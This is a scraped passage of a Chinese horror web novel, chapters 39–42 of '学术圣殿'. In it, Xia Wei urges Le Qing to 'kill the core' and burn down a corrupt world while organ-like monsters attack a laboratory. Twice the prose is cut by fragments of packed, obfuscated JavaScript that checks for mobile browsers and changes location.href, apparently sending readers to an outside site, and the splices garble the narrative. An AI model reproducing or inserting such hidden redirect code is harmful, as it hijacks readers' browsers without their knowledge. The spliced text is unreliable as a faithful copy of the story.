夏未都知道些什么？乐晴身份的变化，贺以辛的故事，南附属二医……夏未太奇怪了，从一开始就是，只是她下意识在寻找一个可以信任的人，或是一个可以并肩作战的盟友，所以一直刻意忽略了他的不对劲。 “你……”她艰难地发出一个音节。 “彭安，对吗？”夏未直接点破了那个名字，语气冰冷，“那个可怜虫。他的心脏还在跳，对吧？在某个冰冷的罐子里，或者……已经被缝进了哪个特权者的胸腔？或者干脆就在培养皿里，被那些穿着白大褂的‘神’用以伟大的科学研究？” “你怎么会知道？！” 他为什么会知道？ 他似乎知道所有事情。难道……乐晴突然有了一个可怕的猜测——他，就是“他”。 39. 学术圣殿（十三） “我怎么知道？”夏未轻笑一声，显得格外瘆人，“乐晴，你以为混乱是什么？是贺以辛献祭带来的烟花表演吗？” 他向前一步，阴影完全笼罩了她，那双永远温和的眼睛里，终于彻底撕掉了所有伪装，只剩下纯粹的、令人窒息的黑暗和疯狂。 “混乱，是这个世界的常态，是它腐烂本质的自然流露。秩序才是假象，是盖在脓疮上一层薄薄的纱布。他们要炼长生不老的丹，你、我……所有人，都在这炼丹的炉子里！” 他的声音陡然拔高：“看看这个地方，你以为这里是哪儿？学校？医院？圣殿？看看这所谓的圣殿，它在制造什么？救赎吗？不，它在制造更深的混乱！它在用活人的血肉和绝望，去喂养那些高高在上的‘神’！这样的世界，难道不该被烧掉吗？！” 夏未猛地抓住乐晴冰凉颤抖的手腕，力道大得惊人。 他俯下身，滚烫的、带着毁灭气息的呼吸喷在她的耳廓：“乐晴，跟我一起！我们不需要所谓神明的垂怜，不需要从任何地方搬救兵，我们可以把这一切——虚伪的秩序、吃人的圣殿、所有践踏生命的‘神’——统统烧光！毁掉它！” 毁灭……听起来多干脆。一了百了，让这吞噬了他、也时刻觊觎她生命的肮脏世界彻底消失，包括这个世界里值得或不值得拯救的其他人。 手腕上的剧痛瞬间激醒了乐晴一丝残存的理智。 她看到了夏未眼中那毫不掩饰的、对毁灭本身的贪婪和享受。她猛地用尽全身力气，狠狠甩开了夏未的手！ 他再次逼近：“混乱已经盯上你了，乐晴。从你踏入这家医院，不，从你加入这个世界，你的命运就已经注定好了。” “不……” “不？”夏未低低地笑了起来，“乐晴，你太天真了。你以为保持理智，就能拯救一切吗？你是救世主吗？我是救世主吗？难道让这个世界彻底消失，不比重建来得更容易吗？世界不需要你我去拯救，大火过后，一切将迎来新生……” 极致的恐惧像一只冰冷的手扼住了乐晴的喉咙，她踉跄着后退，只想立刻逃离这个披着人皮的恶魔！ 就在这令人窒息的僵持时刻，尖锐的手机铃声忽然响起。听到这铃声，夏未忽然安静下来，只是眯着眼睛看乐晴。乐晴手忙脚乱地按下接听键。 “乐晴，听我说！”李韵星的声音立刻冲了出来，背景里充斥着刺耳的电流杂音和一种令人不安的、仿佛金属刮擦的尖锐噪音。 她的语速快得惊人，带着惊惶和紧迫：“曾传屿，发现我了……” 李韵星的话没有说完，“滋啦一声”，所有声音被掐断，一切戛然而止。 乐晴如坠冰窟，整个世界都好像静止下来。 夏未站在几步之外，静静地看着她。 夕阳的最后一点余晖落在他脸上，半明半暗。他的脸上重新覆上平静，嘴角又挂起了一丝若有若无的、极淡的笑意。那笑容里没有丝毫温度，只有一种洞悉一切的、近乎残忍的嘲弄。 “看，”他轻轻开口，声音平静得像在陈述一个再简单不过的事实，“我说过的，混乱，与命运。” - 混乱并非只发生在南附属二医的穹顶之下。 千里之外，李韵星背靠着冰冷的合金墙壁。 就在刚才，她成功绕过曾传屿布下的三层物理隔离，短暂地接入了目标实验室的核心数据流。时间只有不到十五秒，但足够了，足够她获取那个项目的秘密。 可她找错了数据库。 这个数据库是联通的，不是这个实验室独有的，而是和南附属二医的生命科学前沿实验室数据相同，共享实验成果。 南附属二医的罪恶并非孤例，它在这里有一个镜像。 大胆点说，这个世界每一个光明的乐园，都藏着要人性命的刀。 “滴——” 监控警告声响起，提醒她有人来了，她甚至来不及切断所有连接。 死寂。 门外没有脚步声，没有询问，没有任何人类活动的声音，只有一片沉重的、令人窒息的死寂，仿佛门外站着的不是一个人，而是一团凝固的、充满恶意的虚空。 李韵星能清晰地听到自己血液冲击耳膜的轰鸣。她背靠的墙壁传来金属特有的冰冷，这冷意透过薄薄的衣料，直直刺入她的脊椎。 曾传屿就在门外。 他知道了。 她暴露了。 时间一分一秒地流逝，汗水从她的额角渗出，沿着太阳穴滑下。没有武器，没有退路。唯一的出口，就是那扇被曾传屿堵住的门。 突然，门外传来极其轻微的、金属摩擦的“咔哒”声。是门禁电子锁被解除的声音！ 李韵星的心脏瞬间提到了嗓子眼，全身的肌肉瞬间绷紧。 然而，门并没有被推开。 那“咔哒”声之后，门外再次陷入一片死寂，比之前更加深沉，更加令人不安。 李韵星死死盯着那扇紧闭的金属门。 他为什么不进来？在等什么？猫捉老鼠的游戏？还是……在确认某种指令？ 时间过去了很久，门外，依旧没有任何声音。只有那无声的、沉重的死寂，如同巨大的棺盖，缓缓合拢。 - 南附属二医夜晚的红色灯光亮起。 乐晴住的地方离这里不远，是姑妈给她找的房子，在三十楼，可以俯瞰这个城市。晚上，她站在阳台上吹风，偶尔会注意到南附属二医的红光，像是什么警告。 “不救救她吗，乐晴？”夏未停在她面前，距离近得能让她感受到他的呼吸。 “还是说，你也放弃了？你也觉得，救一个好人，不如就让她死去，至少她可以不用再看着这个丑陋的世界？”他的声音压得更低，“李韵星的结局，就是‘秩序’给你的答案！是那些高高在上的‘神’，对试图窥探真相的蝼蚁，最标准的处理流程！他们不在乎多一个‘造反’的普通人，不在乎多一个‘意外身亡’的官方通报。” “你，”他微微俯身，“还在等待什么？” “我……”乐晴扪心自问，她被说动了。 在这个世界，她太弱小了，她甚至不知道该怎样才能帮帮李韵星。姑妈……对，姑妈！乐晴拨通姑妈的电话，电话不急不徐接通了。 “小晴，有什么事吗？”姑妈的声音从听筒传来，带着惯常的沉稳，却让乐晴的心瞬间揪紧。 “姑妈，我想求您一件事，能不能帮我救一个人？”到了这个时候，乐晴也不好再隐瞒，声音带着不易察觉的颤抖，“她叫李韵星，加入了我们学校的生命科学前沿实验室，但是她不小心得罪了曾传屿教授，现在恐怕有危险……” 电话那头陷入一片死寂。几秒钟的沉默，却漫长得像几个世纪，只有乐晴自己擂鼓般的心跳在耳边轰鸣。 姑妈的声音听上去很冷：“曾传屿？” “是……”乐晴的声音弱了下去，浑身的血液都似乎凝固。 姑妈严肃的语气让乐晴的心控制不住往下沉。 一只骨节分明的手猛地从旁伸出，是夏未，他突然倾身，捂住了听筒。 他凑得极近，琥珀色的瞳孔紧紧锁住乐晴瞬间苍白的脸：“你竟然愿意为了李韵星，动用你姑妈的关系？” 乐晴浑身一僵。 她不知道夏未知不知道迷雾之镜的规则，但他的话提醒了乐晴，她没有时间了。 走捷径一次扣除30学分，两次直接死亡…… 姑妈的声音从听筒那头传来：“她最后联系你时出现在哪里？” 乐晴没有马上回答，而是犹豫了。 她竟然犹豫了。 乐晴的嘴唇颤抖着，答案就在舌尖。但一旦说出口，就是确认动用关系，这也意味着她会被迷雾之镜的规则抹杀。金字塔、现实世界、她所追寻的一切……都将化为泡影。可李韵星呢？如果她不动用这层关系，李韵星会怎样？ 她瞳孔放大，冷汗瞬间浸透了后背，一个字也吐不出来。 自己的死亡和对方的安危，乐晴没办法立刻抉择，可是她的犹豫可能会导致李韵星的死亡。 看见乐晴犹豫，夏未忽然轻笑一声，手腕一转，强硬地从她僵直冰冷的手中夺走手机。 “姑妈，是我，夏未。”他干脆利落地开口，同时拇指按下了免提键。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271302|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 手机屏幕的光映亮他线条利落的下颌，那双琥珀色的眼睛却依旧沉沉地、带着某种难以言喻的复杂情绪，落在乐晴失魂的脸上。 “小未？你去找小晴了？”姑妈听上去很意外。 乐晴同样意外。 “是的，姑妈。”夏未琥珀色的眼睛不加掩饰地看着乐晴惊讶的脸，“姑妈，李韵星最后出现在学校的学校的生命科学前沿实验室，您只要联系曾传屿，她应该就是安全的。姑妈，请您一定要帮我这个忙，李韵星帮过我很多，我不能眼睁睁看着她出事。” 电话那头只顿了一瞬。 “明白了，小未。”姑妈的声音恢复了那种掌控全局的沉稳，“放心，交给我。小晴还不懂事，麻烦你多照应。” “应该的，姑妈。” “嘟……嘟……嘟……”电话忙音响起，通话被夏未干脆地切断。他将手机递还给仍在微微发颤的乐晴。 “算我欠姑妈一个人情。” 乐晴看着夏未，一时间不知道该从何说起。 “你也认识姑妈？”乐晴的声音干涩。 疑团太多了。 夏未没有立刻回答。他微微低头，目光牢牢锁住乐晴惊魂未定的眼睛，嘴角勾起一丝极淡却冰冷的弧度。 “当然。”夏未低头看着乐晴，“你是不是觉得，我没什么背景？” 他向前逼近一步，无形的压力瞬间笼罩了乐晴，让她几乎喘不过气。 他发出一声短促的、近乎自嘲的低笑：“杀死董栩鸿，还能全身而退，你以为……这是一个没有依仗的普通人，仅凭一点小聪明和运气就能做到的？邓柯这样的人很多，为了活下去，为了金钱地位，又或者什么都不为，但能驱使他们，你以为我手中什么都没有？” “——驱使他们，让他们甘愿成为棋子，甚至让他们在董栩鸿死后闭嘴、消失、承担一切……你以为，我靠的是什么？空口许诺？还是天真地相信他们的‘忠诚’？” 乐晴被他的话语冲击得脸色煞白，下意识地想后退，却被夏未牢牢困在角落里。 “董栩鸿是谁？卫生健康部副部长，医学院院长的独生子，曾传屿的侄子，他死了，那些人会善罢甘休？你以为他是曾经的你，器官、尸体丢了，都没几个人会在意？他们追究起来，邓柯那样的人能瞒天过海？我能欲盖弥彰？” 夏未微微俯身，压迫感几乎让乐晴窒息，他的声音压得更低，却字字如刀：“你总以为，他们用规则、用权力、用暴力对付普通人，普通人也可以用同样的手段报复回去，以牙还牙，以眼还眼？” 他摇了摇头：“可你错了。他们和普通人付出的代价从来就不一样。他们弄死普通人，像碾死一只蚂蚁，甚至不用亲自动手，代价微乎其微。而普通人想动他们一根手指，就可能要赌上性命，甚至要付出比死亡更惨重的代价。” 乐晴的心脏狂跳，血液似乎都因这番冷酷的剖析而冻结。她看着夏未，第一次真正意识到眼前这个人身上笼罩的重重迷雾之下，隐藏着怎样深不可测的黑暗与力量。 “所以……”夏未直起身，那令人窒息的压迫感稍减，却换上了另一种更深的、近乎蛊惑的凝重。他凝视着乐晴，琥珀色的眼眸深处仿佛有幽暗的火焰在燃烧。 “你明白了么？在这个扭曲的、由他们制定规则的世界里，小打小闹的报复毫无意义。你我是蝼蚁，邓柯是条狗，董栩鸿也不过是个被宠坏的废物。真正支撑着这一切，让这肮脏的秩序得以运转的核心，从来就不是他们。” 他停顿了一下，声音放得极轻，清晰地传入乐晴耳中：“是‘他’，一个……或者说一群，隐藏在更高处，如同神明般俯视、操控着棋盘的存在。是‘他’定义了规则，是‘他’分配着生杀予夺的权力。曾传屿也只是离核心更近一点的棋子，他的生死同样被攥在别人手中，你的姑妈、曾传屿，他们只是下棋者手中冲锋陷阵的棋子，弃车保帅的道理，你懂的。” 夏未淡淡地看着她：“想要结束这永无止境的压迫和绝望，唯一的办法，就是彻底摧毁这个世界，而彻底摧毁这个世界的办法——” 他一字一句宣判：“是杀死核心。” 40. 学术圣殿（十四） 乐晴一抖：“核心？” “没错。”夏未强调，“核、心。” 乐晴第一次听说“核心”，是空域入侵，贺以辛带她去见到的那个容纳方块的东西。那个核心，暂时拯救了他们所在的地方的东西。 核心可以拯救世界，也可以摧毁一切吗？ “核心……在哪里？” 扪心自问，乐晴想早点离开这个迷雾之镜，她不想留在这里了。 离开游戏的条件是顺利毕业，可李韵星已经被曾传屿发现了，他只要多留点意就会发现乐晴。这次是夏未出面请求姑妈的帮助，可下一次呢？为了来南附属二医，她以及寻求过姑妈地帮助，如果再来一次，就直接死亡了。 夏未轻笑一声：“想通了？” 没等乐晴回答，夏未已经说出了核心所在的地方：“就在我们脚下。” 乐晴心里猛地一沉。 脚下？南附属二医？还是……整个世界？ “脚下？”乐晴的声音干涩发紧，目光不由自主地扫过脚下经过无数次修缮的地砖。 “更准确地说，”夏未的声音压得更低，“是在你的脚下。你要找的核心，它只是一个微不足道的接口，一个能量逸散点。真正的核心维持这个空间稳定、驱动规则运行、甚至可能……掌控生死的终极能源与控制系统——它的主体，深埋在地底，一个我们都到不了的地方。” 脚下？她的脚下？ 她几乎是下意识地低头，目光死死锁住自己站立的位置。灰白色的地砖，有着细密的防滑纹路，缝隙里残留着难以彻底清除的陈旧污渍——普通得不能再普通。 “一个微不足道的接口……能量逸散点……”乐晴喃喃重复，声音带着自己都未察觉的颤抖，“真正的主体……深埋地底……我们都到不了？” 这解释让她心悸。这意味着她此刻就站在一个庞大、未知、可能蕴含毁灭性力量的系统的“毛孔”上？而她之前竟毫无所觉地在这里来来往往？那所谓的“拯救”和“摧毁”，其根源就蛰伏在脚下这片看似坚实的大地深处？ 一股寒意从脚底板直窜上来，让她几乎想立刻跳开。 夏未似乎很满意她的反应，嘴角那抹若有若无的笑意加深了：“很震撼，对吧？这就是为什么核心既是希望，也是最大的禁忌。它支撑着这个世界的框架，维持着这里扭曲的‘秩序’，但也像一颗埋在地下的不定时炸弹。” “那……我们该怎样杀死核心？”乐晴猛地抬头。 “它不是工具，它是一个活着的、运行着的规则本身。我们不是它的主人，我们……顶多是它庞大系统里，微不足道、可以被随时修正或清除的数据。” 他向前一步，垂眸看着乐晴：“我们能做的，是寻找它规则中的漏洞。就像你现在踩着的这个‘接口’，虽然只是能量逸散的节点，但它的存在本身就意味着核心的力量并非完全隔绝，它必然有某种方式与表层世界交互，维持着这里的运转。” 乐晴感到一阵窒息般的压力。脚下的地砖仿佛变成了滚烫的烙铁，又像是随时会塌陷的无底深渊。核心不是钥匙，而是一个庞大、冰冷、拥有自身意志的迷宫。 这听起来比直接对抗曾传屿更加绝望。 夏未突然问：“你见过核心？” 乐晴顿了一下，摇头：“没有。你不是说，核心在地底吗？” 夏未突然的问题让乐晴反应过来，她见过核心，甚至驱动过核心。乐晴的血，可以启动核心，以此抵御空域入侵。 可她不能告诉夏未。 夏未沉默了一瞬，似乎在思考乐晴话里的真假有几分。不等夏未做出下一步，整个世界忽然天旋地转起来。 混乱又开始了。 脚下坚实的地砖猛地一软，像踩在某种巨大生物滑腻的腔壁上。不是地震的垂直颠簸，而是整个空间、连同光线和声音，都开始令人作呕地旋转、扭曲、拉伸。墙壁不再是垂直的平面，它们如同融化的蜡像，流淌下污浊的、带着暗绿色霉斑的粘稠物质，散发出混合着腐烂内脏的恶臭。不远处的灯光忽明忽灭，映照出墙壁上迅速蔓延的、仿佛拥有生命的蠕动阴影。 “呃……嗬……嗬……” “啊——！！！” “好痛……好痛啊！妈妈！” 凄厉的、非人的嚎叫和痛苦的呜咽从四面八方，从墙壁内部，从地板缝隙渗透而来。 尽头，一个穿着条纹病号服的身影佝偻着出现。他的动作僵硬得不似人类，四肢关节以诡异的角度反折着，像个被无形的线操纵的木偶。他的头颅低垂，脖颈拉得异常细长，皮肤呈现出一种死尸般的青灰色，上面布满了蛛网般的、不断搏动的暗紫色血管。 他似乎感知到了乐晴的视线，猛地抬起头。 乐晴的心脏骤然停跳了一拍。 那张脸……勉强还能称之为脸。五官的位置发生了可怖的偏移，一只眼球被挤出眼眶，仅靠一根暗红的肉筋勉强连着，在脸颊上晃荡。另一只眼睛则完全变成了浑浊的、没有瞳孔的乳白色脓包，正诡异地向外鼓胀。嘴巴咧开到一个不可思议的宽度，露出参差不齐的、正在疯狂生长的黑色尖牙，粘稠的、带着血丝的口涎不断滴落。 那不是人了。 “跑！”夏未毫不犹豫抓起乐晴的手，朝相反的方向跑去。 几乎是同时，那怪物发出刺耳的嘶鸣，猛扑过来。 乐晴被夏未拽得一个踉跄，大脑一片空白，只剩下求生的本能驱使着双腿拼命跟上他的步伐。 混乱如同决堤的脓液，瞬间淹没了整条走廊。 更多的“东西”从各个角落爬了出来。 它们形态各异，却同样扭曲可怖：有的肢体过度膨胀，撑破了病号服，露出底下蠕动鼓胀、布满肉瘤的皮肤；有的身体像融化的蜡烛般相互粘连、融合，形成蠕动爬行的、难以名状的肉块；有的则瘦骨嶙峋，四肢细长得如同竹节虫，关节处却异常粗大，发出“咔嚓咔嚓”令人牙酸的摩擦声。 空气粘稠，每一次呼吸都带着浓烈的腐臭和血腥味，几乎令人窒息。墙壁上的阴影如同活物般蠕动、汇聚，仿佛有无数只无形的眼睛在阴影的褶皱里窥视着奔逃 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“咔嚓！”一声令人头皮发麻的脆响，怪物的前肢以一个诡异的角度折断，发出凄厉的嘶鸣。 夏未毫不犹豫地抬脚，狠狠踹在怪物的躯干上，将它的身体踹飞出去。怪物在楼梯上滚了好几圈，摔在平台上，溅开一滩粘稠的、散发着恶臭的暗绿色液体。 “发什么呆！走！”夏未再次抓住乐晴的手腕，力道依旧强硬，拉着她往楼上跑。 她下意识地看向夏未受伤的手臂。鲜血顺着他的指尖滴落，在污浊的地面上留下几滴刺目的暗红。那伤口深得可怕，他却像完全没有痛觉。 “我们去哪儿？” “你不是要杀死核心吗？既然我们无法找到核心，就让核心自己出来。” 乐晴不理解夏未的话是什么意思，核心是活的？为什么会自己出来？它怎么自己出来？贺以辛带他见到的核心只是一个死方块，就连她的血液汇入之后，核心也只是消散，而不是变成活物。 “怎样才能让核心自己出来？” “毁掉核心最在意的东西。” 核心有自我意识吗？它最在意的东西是什么？ 就在他们向下狂奔，试图甩开身后越来越密集、越来越疯狂的异变怪物时，乐晴脚下突然一滑。她踩到了楼梯上一大滩粘腻的、不知是血还是其他什么东西的混合物，整个人失去平衡，向前扑倒。 她本能地用手撑地，掌心传来一阵灼痛和粘腻的恶心感。 就在她的掌心触碰到地面的瞬间，异变陡生。 那块看似普通的地砖，突然从内部透出一种极其微弱、却异常诡异的暗红色光芒。那光芒如同活物的脉搏，极其缓慢地、带着某种沉重黏腻的节奏，搏动了一下。光芒透过地砖的缝隙，将乐晴沾染了污物和血迹的手掌映照得一片诡异。 一股难以形容的、冰冷而粘稠的“感觉”，顺着她接触地面的掌心而上，如同细微的电流，又像是某种沉睡的活物被惊醒后伸出的冰冷触须。 脚下的暗红光芒，如同深渊睁开了一只冰冷的眼睛。 41. 学术圣殿（十五） 或者说，那就是一只眼睛。 夏未带着乐晴继续往上时，那只眼睛眨了一下，从暗红色变成了琥珀色。 - 夏未拽着乐晴，一步几个台阶向上猛冲。 楼梯扶手在他手中扭曲变形，发出刺耳的声响。身后，令人毛骨悚然的嘶吼和粘稠的爬行声紧追不舍，腥臭的风扑打着他们的后背。 “毁掉它在意的东西，”乐晴喘息着，追问道，“它在意什么？” 夏未头也不回：“它试图用来摧毁世界的东西，你比我清楚。” 摧毁世界？ 他们在科研楼，夏未拉着她一直往上跑……不难猜出，这个核心试图用来摧毁世界的东西就是生命科学前沿实验室。 他们撞开沉重的防火门，冲进走廊。走廊空旷，惨白的顶灯滋滋作响，将两人的影子拉长又扭曲。空气里弥漫着消毒水掩盖不住的化学试剂和某种组织腐败的混合气味。 原本紧闭的实验室门突然向内爆开。不是被撞开，而是被某种巨大的力量从内部撕扯、撑破。金属门板扭曲飞溅，碎片擦过乐晴的脸颊，带出一道血痕。 门洞里，爬出数个更恶心的怪物。它们像是被强行缝合、注入了过量生长激素的实验品，肢体扭曲膨大，皮肤下蠕动着鼓包。紧随其后涌出的，是比它们更令人作呕、更挑战理智的存在——异化后的器官。 它们不再是生命体的一部分，而是被失控的异变彻底扭曲、赋予了独立且狰狞生命的怪物。 一颗巨大的、搏动的心脏被无数粗壮、紫黑色、蚯蚓般蠕动的血管缠绕着，硬生生拖拽出来。那些血管不再是输送血液的管道，它们如同活生生的触手，深深扎进心肌，又狂乱地挥舞在空气中，末端尖锐如矛，滴落着粘稠的、散发着铁锈与腐败混合气味的暗红液体。心脏本身膨胀到不可思议的程度，每一次沉重而粘滞的搏动，都让覆盖其上的血管网绷紧、扭曲，发出令人牙酸的“咯吱”声，仿佛下一秒就要爆裂开来。 一块惨白肿胀的肝脏紧随其后，像一块巨大的、布满霉斑的肉块。它同样被密密麻麻、如同活体渔网般的血管包裹、勒紧。血管深深嵌入肝叶，将其勒成一块块畸形的凸起，表面渗出黄绿色的粘稠胆汁，散发着刺鼻的恶臭。几条特别粗壮的血管甚至从底部延伸出来，如同丑陋的伪足，支撑着这块巨大的、滴淌着毒液的肉块，缓慢而笨拙地向前蠕动。 一段膨胀了数倍、布满紫黑色坏死斑块的肠子，像一条巨大的、恶心的蠕虫般蜿蜒滑出。它的表面不再光滑，而是布满了无数细小、搏动的血管瘤，如同吸盘般吸附着地面，拖曳出湿滑粘腻的痕迹。肠壁异常透明，隐约可见内部翻腾着墨绿色的、冒着气泡的消化液。肠管的一端，无数细小的血管像狂乱的线头般纠缠、编织，形成了一个布满尖利细小骨刺的“口器”，正无意识地开合着，发出“吧嗒、吧嗒”令人头皮发麻的粘稠声响。 一只被放大了数倍的眼球滚落在地，浑浊的玻璃体几乎占据了整个球体，布满蛛网般的血丝。这些血丝不再是静止的，它们如同有生命的根须，从眼球的巩膜中疯狂钻出、蔓延，在空气中扭曲、探伸，寻找着方向。瞳孔的位置则被一团不断搏动、由细小血管组成的暗红色肉瘤所取代。 它们的血管从内里爬出来，不再是支撑，而是成为了主宰，成为了触手，成为了武器，成为了囚禁并扭曲器官本身的活体牢笼。 就像当初控制邹新伊的触手一样，这些血管贪婪地汲取着变异器官本身的生命力，又反过来赋予了它们畸形、独立而充满恶意的活动能力。它们没有统一的意志，只有本能的蠕动、爬行、搏动，以及一种对新鲜血肉的、源自细胞最深处的、令人窒息的饥渴。它们所过之处，留下的是粘液、毒液和一种源自生命被亵渎扭曲后的、纯粹而冰冷的恐怖气息。 “轰——” 怪物率先发难，骨锤带着沉闷的风压砸向两人立足之地。 夏未一把推开乐晴，自己借力向后翻滚。 骨锤砸碎地砖，碎石四溅。 乐晴翻滚中抬枪，双管齐发，两颗子弹精准钻进裂口怪物的口腔深处，爆开两团腥臭的血雾。怪物嘶嚎着后退，甩动裂开的头颅，粘液和碎牙飞溅。 夏未已经起身，避开另一只怪物横扫而来的触手，矮身突进。他手中不知何时多了一根权杖。权杖顶部镶嵌着太阳图腾，在红白交织的角落里散发着淡淡的琥珀色光芒。 夏未将权杖狠狠捅进怪物相对柔软的侧腹，手腕一拧，蓝光爆闪，怪物腹部的鳞片和肌肉瞬间炸开，发出焦糊的臭味。 怪物发出震耳欲聋的咆哮，胡乱挥舞着触手。 乐晴翻滚起身，避开飞溅的粘液和碎石。一只体型稍小、速度极快的多足怪物正从天花板通风口扑下，利爪直抓她的后颈。 她来不及转身，猛地向前扑倒，同时反手向上盲射。子弹擦着怪物的腹部飞过，只撕开一道口子。怪物的利爪抓破了她肩头的衣服，带出几道血痕。 夏未甩开重伤的怪物，甩出权杖，多足怪物的一条主肢齐根而断，腥绿□□喷涌。他顺势一脚，将惨嚎的怪物踹飞，撞在墙上，软泥般滑落。 但喘息的机会转瞬即逝。 那颗巨大的、布满血管根须的眼球猛地转动，死死锁定了夏未手中的权杖。权杖顶部的太阳图腾泛出金色的光芒，眼球震颤一瞬，立刻转移攻击目标，对准了乐晴。 “嘶——嘎——！” 一声尖利得几乎要刺破耳膜的嘶鸣从眼球内部搏动的血管肉瘤中爆发出来。 那颗被血管触手拖拽着的巨大心脏猛地一缩，随即以远超之前的力道疯狂搏动起来，束缚它的血管网绷紧到极限，发出不堪重负的嘎吱声。几条末端尖锐如矛的血管触手如同离弦之箭，撕裂空气，带着浓烈的腥风直刺乐晴。 几乎同时，那块惨白的肝脏怪物加快了蠕动，几条支撑的血管伪足猛地发力，巨大的肉块携带着恶臭的胆汁和腐烂的气息，朝着乐晴而来。 乐晴强忍肩头的剧痛，翻滚着试图寻找射击角度，但怪物致命的血管矛刺已经近在咫尺，腥风扑面，死亡的寒意瞬间冻结了她的血液。 相比于这里可怖的怪物，乐晴之前见到的那些简直是绿色和谐版本，怪不得到处是马赛克……乐晴感慨自己死到临头还在想这些有的没的。 “低头！” 夏未根本来不及冲过来，只能强行催动权杖的力量。权杖顶端的太阳图腾骤然爆发出刺目的金光，金光在乐晴身前不到半米处凝结成一面半透明的、流转着古老符文的光盾。 尖锐的血管触手撞在光盾上，发出沉闷的巨响，光盾剧烈震颤，蛛网般的裂痕瞬间蔓延开来。金光疯狂闪烁，很快就不堪重负。 冲击的余波将乐晴震得再次翻滚出去。 乐晴的后背狠狠撞在冰冷的墙壁上，五脏六腑都像移了位一样，疼得她感觉整具身体都麻木了。 几乎在她撞上墙壁的瞬间，濒临破碎的金色光盾咔嚓一声彻底粉碎，化作漫天流散的金色光点。 乐晴被震得头晕眼花，但求生的本能压过了一切。就在怪物撞墙、身形凝滞的瞬间，她不顾一切地抬起枪口，瞄准其中一条最粗壮的伪足根部，扣动扳机，六颗子弹精准地钻入伪足与肉块连接的部位。 肝脏怪物发出凄厉的的惨叫，腥绿混合着黄绿色的液体从撕裂的伤口狂喷而出，那条被击中的伪足瞬间瘫软下去，整个巨大的肉块失去平衡，轰然侧翻在地。 夏未跑到乐晴身侧，一把将她拉起。 “走！” 不等夏未和乐晴逃离，走廊尽头，那扇防火门被一股巨力从外面撞开。门被撞得扭曲变形，飞了出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而，这混沌并非立即就形成了融合体。它需要一个催化剂，一个与这场献祭紧密相连、却又代表着某种“异常”或“变数”的存在。 这个“变数”，就是乐晴。 她的出现，她的存在本身，就是变数。她的“异常”与贺以辛献祭引发的根源混沌产生了剧烈的、无法预料的冲突与共振。 这种冲突并非物理层面的对抗，而是更深层规则层面的剧烈摩擦。乐晴的“存在”如同一块棱角分明的异质晶体，被强行投入混沌的熔炉。她的意志、她的情绪、甚至她求生的本能，都在无意识地对抗混沌的腐烂与侵蚀。这种对抗非但没有平息混乱，反而将混沌彻底激化，将其推向了更狂暴、更不可控的境地。 正是在这种被乐晴的存在所激化的、登峰造极的混沌漩涡中，融合体诞生了。 畸变将这些破碎的生命意识也粗暴地混合、挤压进同一个扭曲的躯壳之中，造成了那些撕裂的肢体徒劳挣扎、不同的面孔展现着截然相反的情绪、内部意识永无休止地争夺控制权的恐怖景象。 “乐晴，现在不是说这个的时候，先解决这一切。” 一只由三具身体融合而成、拥有四条手臂和两条腿的怪物嘶吼着冲来。它的一条手臂握着一根断裂的金属管砸向夏未，但另一条手臂却猛地抓住这条攻击的手臂，试图阻止一切。同一时间，它的一条腿向前猛冲，另一条腿却绊向自己。怪物身体剧烈摇晃，发出好几种不同音调的嘶吼和咒骂声，显然是内部不同的意识在争夺身体的控制权。 另一堆由破碎肢体缝合而成的“肉堆”怪物上几张人脸的表情更是瞬息万变。一张脸布满恐惧，无声地流泪；另一张脸则扭曲着极致的恶意和嗜血；第三张脸则是一片茫然空洞。它蠕动着前进，几条不属于同一人的手臂胡乱地抓挠着空气和地面，甚至互相撕扯。 42. 学术圣殿（十六） 夏未用力将乐晴推进实验室，同时自己挡在她身前，权杖再次爆发出的金色光芒，试图挡住前方一个融合怪物的攻击。 但就在金色光芒亮起的瞬间，那个融合怪物攻击的动作突然僵住。它身上几张脸孔的表情同时改变，其中一张脸孔发出惊恐的尖叫：“不！别过去！危险！”而另一张脸则扭曲着咆哮：“杀！杀了他！” 它的身体在原地剧烈地颤抖、摇摆，它的意识在混乱中渐渐吞噬。 夏未正准备反击，“噗嗤”的撕裂声从他背后响起。 夏未的身体猛地一颤。 乐晴在黑暗的实验室内，视野受限，只看到另一只贴地爬行、如同蜈蚣般由无数条下肢支撑的融合怪物，不知何时绕到了夏未身后。它上半身是两个人背靠背融合的形态，其中一个人的手臂异常粗壮扭曲，末端异化成了锋利的骨刃。此刻，这条骨刃手臂正以迅雷不及掩耳之势，狠狠刺入夏未的左肩胛骨下方，骨刃穿透了衣物和皮肉，深深嵌入肌肉，鲜血瞬间狂涌而出。 夏未发出一声压抑的痛哼，脸色瞬间变得惨白。权杖上的光芒剧烈闪烁了几下，几乎熄灭。他强忍着剧痛，右手猛地抓住权杖中段，灌注全身力量，狠狠将权杖末端向后捅去。 权杖末端爆发的精准地命中了那只偷袭的融合体。怪物发出一声混合了多种惨叫的怪异嘶吼，被击中的部位瞬间焦黑碳化。它身体上两张背靠背的脸孔，一张露出了得逞的狞笑，而另一张却布满了极致的痛苦和悔恨。骨刃从夏未背上拔出，带出一蓬血花。 夏未踉跄着向前扑倒，乐晴顾不上其他，上前接住夏未。 他的左肩后方一片血肉模糊，鲜血迅速染红了他半边衣服，顺着衣角滴滴答答地落在地面。他的呼吸变得粗重而急促，额头上瞬间布满了冷汗，身体因剧痛和失血而微微颤抖。 乐晴看着他背上那恐怖的伤口和迅速蔓延开的鲜血，手指不自觉在发抖。 走廊里，怪物蠢蠢欲动，发出可怖的咆哮。而那些新涌进来的融合体在短暂的混乱后，更加疯狂地涌来。 